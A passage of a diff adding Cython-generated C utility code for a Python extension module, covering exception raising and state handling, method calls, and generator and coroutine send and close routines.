assert(cached_type == NULL || PyType_Check(cached_type)); + return (PyTypeObject *) cached_type; +bad: + Py_XDECREF(cached_type); + cached_type = NULL; + goto done; +} +#endif + +/* RaiseException */ +#if PY_MAJOR_VERSION < 3 +static void __Pyx_Raise(PyObject *type, PyObject *value, PyObject *tb, PyObject *cause) { + __Pyx_PyThreadState_declare + CYTHON_UNUSED_VAR(cause); + Py_XINCREF(type); + if (!value || value == Py_None) + value = NULL; + else + Py_INCREF(value); + if (!tb || tb == Py_None) + tb = NULL; + else { + Py_INCREF(tb); + if (!PyTraceBack_Check(tb)) { + PyErr_SetString(PyExc_TypeError, + "raise: arg 3 must be a traceback or None"); + goto raise_error; + } + } + if (PyType_Check(type)) { +#if CYTHON_COMPILING_IN_PYPY + if (!value) { + Py_INCREF(Py_None); + value = Py_None; + } +#endif + PyErr_NormalizeException(&type, &value, &tb); + } else { + if (value) { + PyErr_SetString(PyExc_TypeError, + "instance exception may not have a separate value"); + goto raise_error; + } + value = type; + type = (PyObject*) Py_TYPE(type); + Py_INCREF(type); + if (!PyType_IsSubtype((PyTypeObject *)type, (PyTypeObject *)PyExc_BaseException)) { + PyErr_SetString(PyExc_TypeError, + "raise: exception class must be a subclass of BaseException"); + goto raise_error; + } + } + __Pyx_PyThreadState_assign + __Pyx_ErrRestore(type, value, tb); + return; +raise_error: + Py_XDECREF(value); + Py_XDECREF(type); + Py_XDECREF(tb); + return; +} +#else +static void __Pyx_Raise(PyObject *type, PyObject *value, PyObject *tb, PyObject *cause) { + PyObject* owned_instance = NULL; + if (tb == Py_None) { + tb = 0; + } else if (tb && !PyTraceBack_Check(tb)) { + PyErr_SetString(PyExc_TypeError, + "raise: arg 3 must be a traceback or None"); + goto bad; + } + if (value == Py_None) + value = 0; + if (PyExceptionInstance_Check(type)) { + if (value) { + PyErr_SetString(PyExc_TypeError, + "instance exception may not have a separate value"); + goto bad; + } + value = type; + type = (PyObject*) Py_TYPE(value); + } else if (PyExceptionClass_Check(type)) { + PyObject *instance_class = NULL; + if (value && PyExceptionInstance_Check(value)) { + instance_class = (PyObject*) Py_TYPE(value); + if (instance_class != type) { + int is_subclass = PyObject_IsSubclass(instance_class, type); + if (!is_subclass) { + instance_class = NULL; + } else if (unlikely(is_subclass == -1)) { + goto bad; + } else { + type = instance_class; + } + } + } + if (!instance_class) { + PyObject *args; + if (!value) + args = PyTuple_New(0); + else if (PyTuple_Check(value)) { + Py_INCREF(value); + args = value; + } else + args = PyTuple_Pack(1, value); + if (!args) + goto bad; + owned_instance = PyObject_Call(type, args, NULL); + Py_DECREF(args); + if (!owned_instance) + goto bad; + value = owned_instance; + if (!PyExceptionInstance_Check(value)) { + PyErr_Format(PyExc_TypeError, + "calling %R should have returned an instance of " + "BaseException, not %R", + type, Py_TYPE(value)); + goto bad; + } + } + } else { + PyErr_SetString(PyExc_TypeError, + "raise: exception class must be a subclass of BaseException"); + goto bad; + } + if (cause) { + PyObject *fixed_cause; + if (cause == Py_None) { + fixed_cause = NULL; + } else if (PyExceptionClass_Check(cause)) { + fixed_cause = PyObject_CallObject(cause, NULL); + if (fixed_cause == NULL) + goto bad; + } else if (PyExceptionInstance_Check(cause)) { + fixed_cause = cause; + Py_INCREF(fixed_cause); + } else { + PyErr_SetString(PyExc_TypeError, + "exception causes must derive from " + "BaseException"); + goto bad; + } + PyException_SetCause(value, fixed_cause); + } + PyErr_SetObject(type, value); + if (tb) { + #if PY_VERSION_HEX >= 0x030C00A6 + PyException_SetTraceback(value, tb); + #elif CYTHON_FAST_THREAD_STATE + PyThreadState *tstate = __Pyx_PyThreadState_Current; + PyObject* tmp_tb = tstate->curexc_traceback; + if (tb != tmp_tb) { + Py_INCREF(tb); + tstate->curexc_traceback = tb; + Py_XDECREF(tmp_tb); + } +#else + PyObject *tmp_type, *tmp_value, *tmp_tb; + PyErr_Fetch(&tmp_type, &tmp_value, &tmp_tb); + Py_INCREF(tb); + PyErr_Restore(tmp_type, tmp_value, tb); + Py_XDECREF(tmp_tb); +#endif + } +bad: + Py_XDECREF(owned_instance); + return; +} +#endif + +/* GetTopmostException */ +#if CYTHON_USE_EXC_INFO_STACK && CYTHON_FAST_THREAD_STATE +static _PyErr_StackItem * +__Pyx_PyErr_GetTopmostException(PyThreadState *tstate) +{ + _PyErr_StackItem *exc_info = tstate->exc_info; + while ((exc_info->exc_value == NULL || exc_info->exc_value == Py_None) && + exc_info->previous_item != NULL) + { + exc_info = exc_info->previous_item; + } + return exc_info; +} +#endif + +/* SaveResetException */ +#if CYTHON_FAST_THREAD_STATE +static CYTHON_INLINE void __Pyx__ExceptionSave(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) { + #if CYTHON_USE_EXC_INFO_STACK && PY_VERSION_HEX >= 0x030B00a4 + _PyErr_StackItem *exc_info = __Pyx_PyErr_GetTopmostException(tstate); + PyObject *exc_value = exc_info->exc_value; + if (exc_value == NULL || exc_value == Py_None) { + *value = NULL; + *type = NULL; + *tb = NULL; + } else { + *value = exc_value; + Py_INCREF(*value); + *type = (PyObject*) Py_TYPE(exc_value); + Py_INCREF(*type); + *tb = PyException_GetTraceback(exc_value); + } + #elif CYTHON_USE_EXC_INFO_STACK + _PyErr_StackItem *exc_info = __Pyx_PyErr_GetTopmostException(tstate); + *type = exc_info->exc_type; + *value = exc_info->exc_value; + *tb = exc_info->exc_traceback; + Py_XINCREF(*type); + Py_XINCREF(*value); + Py_XINCREF(*tb); + #else + *type = tstate->exc_type; + *value = tstate->exc_value; + *tb = tstate->exc_traceback; + Py_XINCREF(*type); + Py_XINCREF(*value); + Py_XINCREF(*tb); + #endif +} +static CYTHON_INLINE void __Pyx__ExceptionReset(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb) { + #if CYTHON_USE_EXC_INFO_STACK && PY_VERSION_HEX >= 0x030B00a4 + _PyErr_StackItem *exc_info = tstate->exc_info; + PyObject *tmp_value = exc_info->exc_value; + exc_info->exc_value = value; + Py_XDECREF(tmp_value); + Py_XDECREF(type); + Py_XDECREF(tb); + #else + PyObject *tmp_type, *tmp_value, *tmp_tb; + #if CYTHON_USE_EXC_INFO_STACK + _PyErr_StackItem *exc_info = tstate->exc_info; + tmp_type = exc_info->exc_type; + tmp_value = exc_info->exc_value; + tmp_tb = exc_info->exc_traceback; + exc_info->exc_type = type; + exc_info->exc_value = value; + exc_info->exc_traceback = tb; + #else + tmp_type = tstate->exc_type; + tmp_value = tstate->exc_value; + tmp_tb = tstate->exc_traceback; + tstate->exc_type = type; + tstate->exc_value = value; + tstate->exc_traceback = tb; + #endif + Py_XDECREF(tmp_type); + Py_XDECREF(tmp_value); + Py_XDECREF(tmp_tb); + #endif +} +#endif + +/* SwapException */ +#if CYTHON_FAST_THREAD_STATE +static CYTHON_INLINE void __Pyx__ExceptionSwap(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) { + PyObject *tmp_type, *tmp_value, *tmp_tb; + #if CYTHON_USE_EXC_INFO_STACK && PY_VERSION_HEX >= 0x030B00a4 + _PyErr_StackItem *exc_info = tstate->exc_info; + tmp_value = exc_info->exc_value; + exc_info->exc_value = *value; + if (tmp_value == NULL || tmp_value == Py_None) { + Py_XDECREF(tmp_value); + tmp_value = NULL; + tmp_type = NULL; + tmp_tb = NULL; + } else { + tmp_type = (PyObject*) Py_TYPE(tmp_value); + Py_INCREF(tmp_type); + #if CYTHON_COMPILING_IN_CPYTHON + tmp_tb = ((PyBaseExceptionObject*) tmp_value)->traceback; + Py_XINCREF(tmp_tb); + #else + tmp_tb = PyException_GetTraceback(tmp_value); + #endif + } + #elif CYTHON_USE_EXC_INFO_STACK + _PyErr_StackItem *exc_info = tstate->exc_info; + tmp_type = exc_info->exc_type; + tmp_value = exc_info->exc_value; + tmp_tb = exc_info->exc_traceback; + exc_info->exc_type = *type; + exc_info->exc_value = *value; + exc_info->exc_traceback = *tb; + #else + tmp_type = tstate->exc_type; + tmp_value = tstate->exc_value; + tmp_tb = tstate->exc_traceback; + tstate->exc_type = *type; + tstate->exc_value = *value; + tstate->exc_traceback = *tb; + #endif + *type = tmp_type; + *value = tmp_value; + *tb = tmp_tb; +} +#else +static CYTHON_INLINE void __Pyx_ExceptionSwap(PyObject **type, PyObject **value, PyObject **tb) { + PyObject *tmp_type, *tmp_value, *tmp_tb; + PyErr_GetExcInfo(&tmp_type, &tmp_value, &tmp_tb); + PyErr_SetExcInfo(*type, *value, *tb); + *type = tmp_type; + *value = tmp_value; + *tb = tmp_tb; +} +#endif + +/* PyObjectCall2Args */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_Call2Args(PyObject* function, PyObject* arg1, PyObject* arg2) { + PyObject *args[3] = {NULL, arg1, arg2}; + return __Pyx_PyObject_FastCall(function, args+1, 2 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET); +} + +/* PyObjectCallOneArg */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallOneArg(PyObject *func, PyObject *arg) { + PyObject *args[2] = {NULL, arg}; + return __Pyx_PyObject_FastCall(func, args+1, 1 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET); +} + +/* PyObjectGetMethod */ +static int __Pyx_PyObject_GetMethod(PyObject *obj, PyObject *name, PyObject **method) { + PyObject *attr; +#if CYTHON_UNPACK_METHODS && CYTHON_COMPILING_IN_CPYTHON && CYTHON_USE_PYTYPE_LOOKUP + __Pyx_TypeName type_name; + PyTypeObject *tp = Py_TYPE(obj); + PyObject *descr; + descrgetfunc f = NULL; + PyObject **dictptr, *dict; + int meth_found = 0; + assert (*method == NULL); + if (unlikely(tp->tp_getattro != PyObject_GenericGetAttr)) { + attr = __Pyx_PyObject_GetAttrStr(obj, name); + goto try_unpack; + } + if (unlikely(tp->tp_dict == NULL) && unlikely(PyType_Ready(tp) < 0)) { + return 0; + } + descr = _PyType_Lookup(tp, name); + if (likely(descr != NULL)) { + Py_INCREF(descr); +#if defined(Py_TPFLAGS_METHOD_DESCRIPTOR) && Py_TPFLAGS_METHOD_DESCRIPTOR + if (__Pyx_PyType_HasFeature(Py_TYPE(descr), Py_TPFLAGS_METHOD_DESCRIPTOR)) +#elif PY_MAJOR_VERSION >= 3 + #ifdef __Pyx_CyFunction_USED + if (likely(PyFunction_Check(descr) || __Pyx_IS_TYPE(descr, &PyMethodDescr_Type) || __Pyx_CyFunction_Check(descr))) + #else + if (likely(PyFunction_Check(descr) || __Pyx_IS_TYPE(descr, &PyMethodDescr_Type))) + #endif +#else + #ifdef __Pyx_CyFunction_USED + if (likely(PyFunction_Check(descr) || __Pyx_CyFunction_Check(descr))) + #else + if (likely(PyFunction_Check(descr))) + #endif +#endif + { + meth_found = 1; + } else { + f = Py_TYPE(descr)->tp_descr_get; + if (f != NULL && PyDescr_IsData(descr)) { + attr = f(descr, obj, (PyObject *)Py_TYPE(obj)); + Py_DECREF(descr); + goto try_unpack; + } + } + } + dictptr = _PyObject_GetDictPtr(obj); + if (dictptr != NULL && (dict = *dictptr) != NULL) { + Py_INCREF(dict); + attr = __Pyx_PyDict_GetItemStr(dict, name); + if (attr != NULL) { + Py_INCREF(attr); + Py_DECREF(dict); + Py_XDECREF(descr); + goto try_unpack; + } + Py_DECREF(dict); + } + if (meth_found) { + *method = descr; + return 1; + } + if (f != NULL) { + attr = f(descr, obj, (PyObject *)Py_TYPE(obj)); + Py_DECREF(descr); + goto try_unpack; + } + if (likely(descr != NULL)) { + *method = descr; + return 0; + } + type_name = __Pyx_PyType_GetName(tp); + PyErr_Format(PyExc_AttributeError, +#if PY_MAJOR_VERSION >= 3 + "'" __Pyx_FMT_TYPENAME "' object has no attribute '%U'", + type_name, name); +#else + "'" __Pyx_FMT_TYPENAME "' object has no attribute '%.400s'", + type_name, PyString_AS_STRING(name)); +#endif + __Pyx_DECREF_TypeName(type_name); + return 0; +#else + attr = __Pyx_PyObject_GetAttrStr(obj, name); + goto try_unpack; +#endif +try_unpack: +#if CYTHON_UNPACK_METHODS + if (likely(attr) && PyMethod_Check(attr) && likely(PyMethod_GET_SELF(attr) == obj)) { + PyObject *function = PyMethod_GET_FUNCTION(attr); + Py_INCREF(function); + Py_DECREF(attr); + *method = function; + return 1; + } +#endif + *method = attr; + return 0; +} + +/* PyObjectCallMethod1 */ +#if !(CYTHON_VECTORCALL && __PYX_LIMITED_VERSION_HEX >= 0x030C00A2) +static PyObject* __Pyx__PyObject_CallMethod1(PyObject* method, PyObject* arg) { + PyObject *result = __Pyx_PyObject_CallOneArg(method, arg); + Py_DECREF(method); + return result; +} +#endif +static PyObject* __Pyx_PyObject_CallMethod1(PyObject* obj, PyObject* method_name, PyObject* arg) { +#if CYTHON_VECTORCALL && __PYX_LIMITED_VERSION_HEX >= 0x030C00A2 + PyObject *args[2] = {obj, arg}; + (void) __Pyx_PyObject_GetMethod; + (void) __Pyx_PyObject_CallOneArg; + (void) __Pyx_PyObject_Call2Args; + return PyObject_VectorcallMethod(method_name, args, 2 | PY_VECTORCALL_ARGUMENTS_OFFSET, NULL); +#else + PyObject *method = NULL, *result; + int is_method = __Pyx_PyObject_GetMethod(obj, method_name, &method); + if (likely(is_method)) { + result = __Pyx_PyObject_Call2Args(method, obj, arg); + Py_DECREF(method); + return result; + } + if (unlikely(!method)) return NULL; + return __Pyx__PyObject_CallMethod1(method, arg); +#endif +} + +/* PyObjectCallNoArg */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallNoArg(PyObject *func) { + PyObject *arg[2] = {NULL, NULL}; + return __Pyx_PyObject_FastCall(func, arg + 1, 0 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET); +} + +/* CoroutineBase */ +#include +#if PY_VERSION_HEX >= 0x030b00a6 + #ifndef Py_BUILD_CORE + #define Py_BUILD_CORE 1 + #endif + #include "internal/pycore_frame.h" +#endif +#define __Pyx_Coroutine_Undelegate(gen) Py_CLEAR((gen)->yieldfrom) +static int __Pyx_PyGen__FetchStopIterationValue(PyThreadState *__pyx_tstate, PyObject **pvalue) { + PyObject *et, *ev, *tb; + PyObject *value = NULL; + CYTHON_UNUSED_VAR(__pyx_tstate); + __Pyx_ErrFetch(&et, &ev, &tb); + if (!et) { + Py_XDECREF(tb); + Py_XDECREF(ev); + Py_INCREF(Py_None); + *pvalue = Py_None; + return 0; + } + if (likely(et == PyExc_StopIteration)) { + if (!ev) { + Py_INCREF(Py_None); + value = Py_None; + } +#if PY_VERSION_HEX >= 0x030300A0 + else if (likely(__Pyx_IS_TYPE(ev, (PyTypeObject*)PyExc_StopIteration))) { + value = ((PyStopIterationObject *)ev)->value; + Py_INCREF(value); + Py_DECREF(ev); + } +#endif + else if (unlikely(PyTuple_Check(ev))) { + if (PyTuple_GET_SIZE(ev) >= 1) { +#if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + value = PyTuple_GET_ITEM(ev, 0); + Py_INCREF(value); +#else + value = PySequence_ITEM(ev, 0); +#endif + } else { + Py_INCREF(Py_None); + value = Py_None; + } + Py_DECREF(ev); + } + else if (!__Pyx_TypeCheck(ev, (PyTypeObject*)PyExc_StopIteration)) { + value = ev; + } + if (likely(value)) { + Py_XDECREF(tb); + Py_DECREF(et); + *pvalue = value; + return 0; + } + } else if (!__Pyx_PyErr_GivenExceptionMatches(et, PyExc_StopIteration)) { + __Pyx_ErrRestore(et, ev, tb); + return -1; + } + PyErr_NormalizeException(&et, &ev, &tb); + if (unlikely(!PyObject_TypeCheck(ev, (PyTypeObject*)PyExc_StopIteration))) { + __Pyx_ErrRestore(et, ev, tb); + return -1; + } + Py_XDECREF(tb); + Py_DECREF(et); +#if PY_VERSION_HEX >= 0x030300A0 + value = ((PyStopIterationObject *)ev)->value; + Py_INCREF(value); + Py_DECREF(ev); +#else + { + PyObject* args = __Pyx_PyObject_GetAttrStr(ev, __pyx_n_s_args); + Py_DECREF(ev); + if (likely(args)) { + value = PySequence_GetItem(args, 0); + Py_DECREF(args); + } + if (unlikely(!value)) { + __Pyx_ErrRestore(NULL, NULL, NULL); + Py_INCREF(Py_None); + value = Py_None; + } + } +#endif + *pvalue = value; + return 0; +} +static CYTHON_INLINE +void __Pyx_Coroutine_ExceptionClear(__Pyx_ExcInfoStruct *exc_state) { +#if PY_VERSION_HEX >= 0x030B00a4 + Py_CLEAR(exc_state->exc_value); +#else + PyObject *t, *v, *tb; + t = exc_state->exc_type; + v = exc_state->exc_value; + tb = exc_state->exc_traceback; + exc_state->exc_type = NULL; + exc_state->exc_value = NULL; + exc_state->exc_traceback = NULL; + Py_XDECREF(t); + Py_XDECREF(v); + Py_XDECREF(tb); +#endif +} +#define __Pyx_Coroutine_AlreadyRunningError(gen) (__Pyx__Coroutine_AlreadyRunningError(gen), (PyObject*)NULL) +static void __Pyx__Coroutine_AlreadyRunningError(__pyx_CoroutineObject *gen) { + const char *msg; + CYTHON_MAYBE_UNUSED_VAR(gen); + if ((0)) { + #ifdef __Pyx_Coroutine_USED + } else if (__Pyx_Coroutine_Check((PyObject*)gen)) { + msg = "coroutine already executing"; + #endif + #ifdef __Pyx_AsyncGen_USED + } else if (__Pyx_AsyncGen_CheckExact((PyObject*)gen)) { + msg = "async generator already executing"; + #endif + } else { + msg = "generator already executing"; + } + PyErr_SetString(PyExc_ValueError, msg); +} +#define __Pyx_Coroutine_NotStartedError(gen) (__Pyx__Coroutine_NotStartedError(gen), (PyObject*)NULL) +static void __Pyx__Coroutine_NotStartedError(PyObject *gen) { + const char *msg; + CYTHON_MAYBE_UNUSED_VAR(gen); + if ((0)) { + #ifdef __Pyx_Coroutine_USED + } else if (__Pyx_Coroutine_Check(gen)) { + msg = "can't send non-None value to a just-started coroutine"; + #endif + #ifdef __Pyx_AsyncGen_USED + } else if (__Pyx_AsyncGen_CheckExact(gen)) { + msg = "can't send non-None value to a just-started async generator"; + #endif + } else { + msg = "can't send non-None value to a just-started generator"; + } + PyErr_SetString(PyExc_TypeError, msg); +} +#define __Pyx_Coroutine_AlreadyTerminatedError(gen, value, closing) (__Pyx__Coroutine_AlreadyTerminatedError(gen, value, closing), (PyObject*)NULL) +static void __Pyx__Coroutine_AlreadyTerminatedError(PyObject *gen, PyObject *value, int closing) { + CYTHON_MAYBE_UNUSED_VAR(gen); + CYTHON_MAYBE_UNUSED_VAR(closing); + #ifdef __Pyx_Coroutine_USED + if (!closing && __Pyx_Coroutine_Check(gen)) { + PyErr_SetString(PyExc_RuntimeError, "cannot reuse already awaited coroutine"); + } else + #endif + if (value) { + #ifdef __Pyx_AsyncGen_USED + if (__Pyx_AsyncGen_CheckExact(gen)) + PyErr_SetNone(__Pyx_PyExc_StopAsyncIteration); + else + #endif + PyErr_SetNone(PyExc_StopIteration); + } +} +static +PyObject *__Pyx_Coroutine_SendEx(__pyx_CoroutineObject *self, PyObject *value, int closing) { + __Pyx_PyThreadState_declare + PyThreadState *tstate; + __Pyx_ExcInfoStruct *exc_state; + PyObject *retval; + assert(!self->is_running); + if (unlikely(self->resume_label == 0)) { + if (unlikely(value && value != Py_None)) { + return __Pyx_Coroutine_NotStartedError((PyObject*)self); + } + } + if (unlikely(self->resume_label == -1)) { + return __Pyx_Coroutine_AlreadyTerminatedError((PyObject*)self, value, closing); + } +#if CYTHON_FAST_THREAD_STATE + __Pyx_PyThreadState_assign + tstate = __pyx_tstate; +#else + tstate = __Pyx_PyThreadState_Current; +#endif + exc_state = &self->gi_exc_state; + if (exc_state->exc_value) { + #if CYTHON_COMPILING_IN_PYPY + #else + PyObject *exc_tb; + #if PY_VERSION_HEX >= 0x030B00a4 && !CYTHON_COMPILING_IN_CPYTHON + exc_tb = PyException_GetTraceback(exc_state->exc_value); + #elif PY_VERSION_HEX >= 0x030B00a4 + exc_tb = ((PyBaseExceptionObject*) exc_state->exc_value)->traceback; + #else + exc_tb = exc_state->exc_traceback; + #endif + if (exc_tb) { + PyTracebackObject *tb = (PyTracebackObject *) exc_tb; + PyFrameObject *f = tb->tb_frame; + assert(f->f_back == NULL); + #if PY_VERSION_HEX >= 0x030B00A1 + f->f_back = PyThreadState_GetFrame(tstate); + #else + Py_XINCREF(tstate->frame); + f->f_back = tstate->frame; + #endif + #if PY_VERSION_HEX >= 0x030B00a4 && !CYTHON_COMPILING_IN_CPYTHON + Py_DECREF(exc_tb); + #endif + } + #endif + } +#if CYTHON_USE_EXC_INFO_STACK + exc_state->previous_item = tstate->exc_info; + tstate->exc_info = exc_state; +#else + if (exc_state->exc_type) { + __Pyx_ExceptionSwap(&exc_state->exc_type, &exc_state->exc_value, &exc_state->exc_traceback); + } else { + __Pyx_Coroutine_ExceptionClear(exc_state); + __Pyx_ExceptionSave(&exc_state->exc_type, &exc_state->exc_value, &exc_state->exc_traceback); + } +#endif + self->is_running = 1; + retval = self->body(self, tstate, value); + self->is_running = 0; +#if CYTHON_USE_EXC_INFO_STACK + exc_state = &self->gi_exc_state; + tstate->exc_info = exc_state->previous_item; + exc_state->previous_item = NULL; + __Pyx_Coroutine_ResetFrameBackpointer(exc_state); +#endif + return retval; +} +static CYTHON_INLINE void __Pyx_Coroutine_ResetFrameBackpointer(__Pyx_ExcInfoStruct *exc_state) { +#if CYTHON_COMPILING_IN_PYPY + CYTHON_UNUSED_VAR(exc_state); +#else + PyObject *exc_tb; + #if PY_VERSION_HEX >= 0x030B00a4 + if (!exc_state->exc_value) return; + exc_tb = PyException_GetTraceback(exc_state->exc_value); + #else + exc_tb = exc_state->exc_traceback; + #endif + if (likely(exc_tb)) { + PyTracebackObject *tb = (PyTracebackObject *) exc_tb; + PyFrameObject *f = tb->tb_frame; + Py_CLEAR(f->f_back); + #if PY_VERSION_HEX >= 0x030B00a4 + Py_DECREF(exc_tb); + #endif + } +#endif +} +static CYTHON_INLINE +PyObject *__Pyx_Coroutine_MethodReturn(PyObject* gen, PyObject *retval) { + CYTHON_MAYBE_UNUSED_VAR(gen); + if (unlikely(!retval)) { + __Pyx_PyThreadState_declare + __Pyx_PyThreadState_assign + if (!__Pyx_PyErr_Occurred()) { + PyObject *exc = PyExc_StopIteration; + #ifdef __Pyx_AsyncGen_USED + if (__Pyx_AsyncGen_CheckExact(gen)) + exc = __Pyx_PyExc_StopAsyncIteration; + #endif + __Pyx_PyErr_SetNone(exc); + } + } + return retval; +} +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03030000 && (defined(__linux__) || PY_VERSION_HEX >= 0x030600B3) +static CYTHON_INLINE +PyObject *__Pyx_PyGen_Send(PyGenObject *gen, PyObject *arg) { +#if PY_VERSION_HEX <= 0x030A00A1 + return _PyGen_Send(gen, arg); +#else + PyObject *result; + if (PyIter_Send((PyObject*)gen, arg ? arg : Py_None, &result) == PYGEN_RETURN) { + if (PyAsyncGen_CheckExact(gen)) { + assert(result == Py_None); + PyErr_SetNone(PyExc_StopAsyncIteration); + } + else if (result == Py_None) { + PyErr_SetNone(PyExc_StopIteration); + } + else { +#if PY_VERSION_HEX < 0x030d00A1 + _PyGen_SetStopIterationValue(result); +#else + if (!PyTuple_Check(result) && !PyExceptionInstance_Check(result)) { + PyErr_SetObject(PyExc_StopIteration, result); + } else { + PyObject *exc = __Pyx_PyObject_CallOneArg(PyExc_StopIteration, result); + if (likely(exc != NULL)) { + PyErr_SetObject(PyExc_StopIteration, exc); + Py_DECREF(exc); + } + } +#endif + } + Py_DECREF(result); + result = NULL; + } + return result; +#endif +} +#endif +static CYTHON_INLINE +PyObject *__Pyx_Coroutine_FinishDelegation(__pyx_CoroutineObject *gen) { + PyObject *ret; + PyObject *val = NULL; + __Pyx_Coroutine_Undelegate(gen); + __Pyx_PyGen__FetchStopIterationValue(__Pyx_PyThreadState_Current, &val); + ret = __Pyx_Coroutine_SendEx(gen, val, 0); + Py_XDECREF(val); + return ret; +} +static PyObject *__Pyx_Coroutine_Send(PyObject *self, PyObject *value) { + PyObject *retval; + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject*) self; + PyObject *yf = gen->yieldfrom; + if (unlikely(gen->is_running)) + return __Pyx_Coroutine_AlreadyRunningError(gen); + if (yf) { + PyObject *ret; + gen->is_running = 1; + #ifdef __Pyx_Generator_USED + if (__Pyx_Generator_CheckExact(yf)) { + ret = __Pyx_Coroutine_Send(yf, value); + } else + #endif + #ifdef __Pyx_Coroutine_USED + if (__Pyx_Coroutine_Check(yf)) { + ret = __Pyx_Coroutine_Send(yf, value); + } else + #endif + #ifdef __Pyx_AsyncGen_USED + if (__pyx_PyAsyncGenASend_CheckExact(yf)) { + ret = __Pyx_async_gen_asend_send(yf, value); + } else + #endif + #if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03030000 && (defined(__linux__) || PY_VERSION_HEX >= 0x030600B3) + if (PyGen_CheckExact(yf)) { + ret = __Pyx_PyGen_Send((PyGenObject*)yf, value == Py_None ? NULL : value); + } else + #endif + #if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03050000 && defined(PyCoro_CheckExact) && (defined(__linux__) || PY_VERSION_HEX >= 0x030600B3) + if (PyCoro_CheckExact(yf)) { + ret = __Pyx_PyGen_Send((PyGenObject*)yf, value == Py_None ? NULL : value); + } else + #endif + { + if (value == Py_None) + ret = __Pyx_PyObject_GetIterNextFunc(yf)(yf); + else + ret = __Pyx_PyObject_CallMethod1(yf, __pyx_n_s_send, value); + } + gen->is_running = 0; + if (likely(ret)) { + return ret; + } + retval = __Pyx_Coroutine_FinishDelegation(gen); + } else { + retval = __Pyx_Coroutine_SendEx(gen, value, 0); + } + return __Pyx_Coroutine_MethodReturn(self, retval); +} +static int __Pyx_Coroutine_CloseIter(__pyx_CoroutineObject *gen, PyObject *yf) { + PyObject *retval = NULL; + int err = 0; + #ifdef __Pyx_Generator_USED + if (__Pyx_Generator_CheckExact(yf)) { + retval = __Pyx_Coroutine_Close(yf); + if (!retval) + return -1; + } else + #endif + #ifdef __Pyx_Coroutine_USED + if (__Pyx_Coroutine_Check(yf)) { + retval = __Pyx_Coroutine_Close(yf); + if (!retval) + return -1; + } else + if (__Pyx_CoroutineAwait_CheckExact(yf)) { + retval = __Pyx_CoroutineAwait_Close((__pyx_CoroutineAwaitObject*)yf, NULL); + if (!retval) + return -1; + } else + #endif + #ifdef __Pyx_AsyncGen_USED + if (__pyx_PyAsyncGenASend_CheckExact(yf)) { + retval = __Pyx_async_gen_asend_close(yf, NULL); + } else + if (__pyx_PyAsyncGenAThrow_CheckExact(yf)) { + retval = __Pyx_async_gen_athrow_close(yf, NULL); + } else + #endif + { + PyObject *meth; + gen->is_running = 1; + meth = __Pyx_PyObject_GetAttrStrNoError(yf, __pyx_n_s_close); + if (unlikely(!meth)) { + if (unlikely(PyErr_Occurred())) { + PyErr_WriteUnraisable(yf); + } + } else { + retval = __Pyx_PyObject_CallNoArg(meth); + Py_DECREF(meth); + if (unlikely(!retval)) + err = -1; + } + gen->is_running = 0; + } + Py_XDECREF(retval); + return err; +} +static PyObject *__Pyx_Generator_Next(PyObject *self) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject*) self; + PyObject *yf = gen->yieldfrom; + if (unlikely(gen->is_running)) + return __Pyx_Coroutine_AlreadyRunningError(gen); + if (yf) { + PyObject *ret; + gen->is_running = 1; + #ifdef __Pyx_Generator_USED + if (__Pyx_Generator_CheckExact(yf)) { + ret = __Pyx_Generator_Next(yf); + } else + #endif + #if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03030000 && (defined(__linux__) || PY_VERSION_HEX >= 0x030600B3) + if (PyGen_CheckExact(yf)) { + ret = __Pyx_PyGen_Send((PyGenObject*)yf, NULL); + } else + #endif + #ifdef __Pyx_Coroutine_USED + if (__Pyx_Coroutine_Check(yf)) { + ret = __Pyx_Coroutine_Send(yf, Py_None); + } else + #endif + ret = __Pyx_PyObject_GetIterNextFunc(yf)(yf); + gen->is_running = 0; + if (likely(ret)) { + return ret; + } + return __Pyx_Coroutine_FinishDelegation(gen); + } + return __Pyx_Coroutine_SendEx(gen, Py_None, 0); +} +static PyObject *__Pyx_Coroutine_Close_Method(PyObject *self, PyObject *arg) { + CYTHON_UNUSED_VAR(arg); + return __Pyx_Coroutine_Close(self); +} +static PyObject *__Pyx_Coroutine_Close(PyObject *self) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + PyObject *retval, *raised_exception; + PyObject *yf = gen->yieldfrom; + int err = 0; + if (unlikely(gen->is_running)) + return __Pyx_Coroutine_AlreadyRunningError(gen); + if (yf) { + Py_INCREF(yf); + err = __Pyx_Coroutine_CloseIter(gen, yf); + __Pyx_Coroutine_Undelegate(gen); + Py_DECREF(yf); + } + if (err == 0) + PyErr_SetNone(PyExc_GeneratorExit); + retval = __Pyx_Coroutine_SendEx(gen, NULL, 1); + if (unlikely(retval)) { + const char *msg; + Py_DECREF(retval); + if ((0)) { + #ifdef __Pyx_Coroutine_USED + } else if (__Pyx_Coroutine_Check(self)) { + msg = "coroutine ignored GeneratorExit"; + #endif + #ifdef __Pyx_AsyncGen_USED + } else if (__Pyx_AsyncGen_CheckExact(self)) { +#if PY_VERSION_HEX < 0x03060000 + msg = "async generator ignored GeneratorExit - might require Python 3.6+ finalisation (PEP 525)"; +#else + msg = "async generator ignored GeneratorExit"; +#endif + #endif + } else { + msg = "generator ignored GeneratorExit"; + } + PyErr_SetString(PyExc_RuntimeError, msg); + return NULL; + } + raised_exception = PyErr_Occurred(); + if (likely(!raised_exception || __Pyx_PyErr_GivenExceptionMatches2(raised_exception, PyExc_GeneratorExit, PyExc_StopIteration))) { + if (raised_exception) PyErr_Clear(); + Py_INCREF(Py_None); + return Py_None; + } + return NULL; +} +static PyObject *__Pyx__Coroutine_Throw(PyObject *self, PyObject *typ, 